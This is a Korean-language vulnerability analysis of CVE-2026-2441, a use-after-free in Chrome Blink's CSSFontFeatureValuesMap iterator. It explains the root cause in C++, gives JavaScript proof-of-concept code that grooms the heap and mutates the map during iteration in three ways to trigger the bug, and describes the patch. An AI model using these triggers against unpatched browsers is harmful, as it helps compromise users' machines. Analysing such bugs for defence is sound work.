[하루한줄] CVE-2026-2441: Chrome Blink CSS Engine에서 발생하는 UAF로 인한 Renderer RCE 취약점

URL

Target

  • Windows / macOS (Stable):
    < 145.0.7632.75
  • Windows / macOS (Extended Stable):
    < 144.0.7559.177
  • Linux (Stable):
    < 144.0.7559.75
  • Chromium-based browsers:
    Check vendor advisory

Explain

CVE-2026-2441은 Chrome Blink CSS 엔진의 CSSFontFeatureValuesMap 컴포넌트에서 발생하는 use-after-free로 인해 발생하는 Renderer RCE 취약점입니다.

CSSFontFeatureValuesMap를 JS에서 순회하는 도중 set()/ delete()로 같은 맵을 바꾸면, 내부 C++ 반복기가 이미 free된 버퍼를 계속 읽어 use-after-free가 발생합니다. 해당 버그는 특수하게 구성된 HTML/CSS 페이지를 통해, 렌더러 프로세스 내에서 RCE를 유발할 수 있습니다. 공격 후 사용자가 악성 웹 페이지에 접속하기만 해도 추가 상호작용 없이 취약한 CSSFontFeatureValuesMap 반복 로직을 트리거하여 exploit chain을 구성할 수 있습니다.

Root Cause

class FontFeatureValuesMapIterationSource final
    : public PairSyncIterable<IDLUSVString, IDLSequence<IDLUnsignedLong>>::IterationSource {
 public:
  FontFeatureValuesMapIterationSource(const CSSFontFeatureValuesMap& map,
                                      const FontFeatureAliases* aliases)
      : map_(map),
        aliases_(aliases),             // [1]: Keeps a raw pointer to the live backing map.
        iterator_(aliases->begin()) {} // [2]: Creates an iterator tied to that live map state.

  bool FetchNextItem(ScriptState* script_state,
                     String& map_key,
                     Vector<uint32_t>& map_value) override {
    if (!aliases_) {
      return false;
    }

    if (iterator_ == aliases_->end()) {
      return false;
    }

    map_key = iterator_->key;            // [3]: May dereference an invalid iterator after mutation.
    map_value = iterator_->value.indices;// [4]: May read from freed backing storage after rehash.
    ++iterator_;
    return true;
  }

  void Trace(Visitor* visitor) const override {
    visitor->Trace(map_);
    PairSyncIterable<IDLUSVString,
                     IDLSequence<IDLUnsignedLong>>::IterationSource::Trace(visitor);
  }

 private:
  const Member<CSSFontFeatureValuesMap> map_;
  const FontFeatureAliases* aliases_;
  FontFeatureAliases::const_iterator iterator_; // [5]: Becomes invalid if the map is mutated during iteration.
};

취약한 지점은 Blink 엔진 소스 코드에서 FontFeatureValuesMapIterationSource 클래스의 구현부에서 발생하였습니다. [1], [2], [5]가 결합되면서 취약점이 완성됩니다.

const FontFeatureAliases* aliases_; // [1]

소스 코드에서 취약한 지점을 살펴보면, 먼저 [1]에서 aliases_CSSFontFeatureValuesMap 내부의 실제 HashMap 인스턴스를 가리키는 포인터입니다. 즉, 라이브 컨테이너에 대한 직접 참조라서 JS에서 map.set() / map.delete()로 내부 FontFeatureAliases가 rehash되면, 이 포인터가 더이상 유효하지 않게 되며, dangling pointer가 될 가능성이 생깁니다.

FontFeatureValuesMapIterationSource(const CSSFontFeatureValuesMap& map,
                                    const FontFeatureAliases* aliases)
    : map_(map),
      aliases_(aliases),
      iterator_(aliases->begin()) {} // [2]

[2] 생성자에서는 iterator_aliases→begin()으로 초기화하고 있는데, Blink의 HashMap과 같은 C++ 컨테이너에서 iterator는 재할당(rehash)시에 대부분 무효화됩니다. 그런데 이 iterator를 멤버로 들고 있고, 이후 JS에서 일어나는 모든 mutation에 대해 아무런 재검증이나 재생성 없이 사용하고 있기 때문에, 재할당 이후에도 예전 iterator을 계속 사용하게 됩니다.

bool FetchNextItem(... ) override {
  if (!aliases_) {
    return false;
  }

  if (iterator_ == aliases_->end()) {
    return false;               // [3_before]
  }

  map_key = iterator_->key;     // [3]
  map_value = iterator_->value.indices; // [4]
  ++iterator_;
  return true;
}

또한 FetchNextItem()에서 iterator의 유효성 검사는 [3before]의 `iterator == aliases_->end()` 비교에만 의존합니다.

즉, end에 도달했는지만 확인할 뿐, 이 iterator가 여전히 해당 컨테이너에 속해 있는지는 검증하지 않습니다. 그 결과 iterator_가 이미 free된 영역을 가리키는 상태여도 iterator_ == aliases_->end()는 false가 될 수 있고, 아래 dereference로 그대로 진입하게 됩니다.

map_key = iterator_->key;             // [3]
map_value = iterator_->value.indices; // [4]

use-after-free가 터지는 부분을 확인해보면, JS가 map.delete() / map.set()으로 FontFeatureAliases에 rehash를 유도하면, 이전 해시 버킷 스토리지는 free되고, iterator_는 여전히 이전 스토리지를 가리키게 됩니다. 이 상태에서 iterator_→key[3] / iterator_→value.indices [4]를 읽으면, 이미 해제된 메모리를 읽게되는 UAF가 발생합니다.

exploit

PoC는 공통적으로 CSSFontFeatureValuesMap에 대해 하나의 iterator를 만든 뒤, 그 iterator를 사용하는 도중에 같은 맵에 대해 delete와 512회의 set 반복을 통해 내부 FontFeatureAliases HashMap이 rehash(재할당)되도록 만들고, 그 상태에서 여전히 옛 버퍼를 가리키는 C++ iterator를 통해 엔트리를 읽으면서 UAF를 일으킵니다.

const groomRules = [];
const groomStyle = document.createElement("style");
document.head.appendChild(groomStyle);

for (let i = 0; i < 50; i++) {
  groomStyle.sheet.insertRule(
    `@font-feature-values GroomFont${i} { @styleset { g${i}: ${i}; } }`,
    groomStyle.sheet.cssRules.length
  );
  groomRules.push(groomStyle.sheet.cssRules[groomStyle.sheet.cssRules.length - 1]);
}
print("[+] " + groomRules.length + " groom objects created.", "ok");

먼저 세 방법 모두 앞단에서 동일 크기의 @font-feature-values 규칙 50개를 반복적으로 할당해 heap grooming을 수행하고, 이를 통해 CSSFontFeatureValuesMap과 관련 객체들이 예측 가능한 힙 레이아웃에 놓이도록 합니다.

Method 1: entries() Iterator + Mutation Loop

const iterator = map.entries();
while (step < 20) {
    iterator.next();          // read through (now dangling) pointer
    map.delete(key);          // trigger rehash
    for (i = 0; i < 512; i++)
        map.set("spray_" + i, [i]);  // force reallocation
}

이후 첫 번째 방법에서는 const iterator = map.entries()로 얻은 iterator에 대해 iterator.next()map.delete(key) → 512×map.set("spray_i", [i])를 루프에서 반복해, entries() 기반 iterator가 무효화된 뒤에도 계속 사용되도록 만듭니다.

Method 2: for...of + Concurrent Mutation

for (const [k, v] of map) {
    map.delete(k);
    for (i = 0; i < 512; i++)
        map.set("alt_" + i, [i]);
}

두 번째 방법에서는 for (const [k, v] of map) 구문 안에서 매 스텝마다 map.delete(k)와 512×map.set("alt_i", [i])를 수행해, for…of가 내부적으로 사용하는 iterator가 rehash 이후 freed 스토리지를 읽게 만듭니다.

Method 3: requestAnimationFrame + Layout Recalc

function rafTrigger() {
    document.body.offsetWidth;   // force layout recalc
    const result = iterator.next();
    map.delete(k);
    for (i = 0; i < 512; i++)
        map.set("raf_" + i, [i]);
    requestAnimationFrame(rafTrigger);
}

세 번째 방법은 requestAnimationFrame 콜백 안에서 document.body.offsetWidth로 강제 레이아웃 계산을 한 직후 iterator.next()를 호출하고, 이어서 map.delete(k)와 512×map.set("raf_i", [i])를 수행한 뒤 다시 rAF로 자기 자신을 등록하여, 실제 렌더링 타이밍과 섞인 환경에서도 같은 iterator invalidation UAF를 안정적으로 재현할 수 있도록 하였습니다.

Patch

- const FontFeatureAliases* aliases_;   // raw pointer → dangling after rehash
+ const FontFeatureAliases aliases_;    // deep copy → immune to rehash

패치에서는 포인터 대신 값 자체를 멤버로 들도록 바꿔서, iterator가 생성될 때 HashMap 내용을 통째로 복사해 두고 그 복사본 위에서만 순회하게 만들어 dangling pointer가 생기는 것을 방지했습니다.

Reference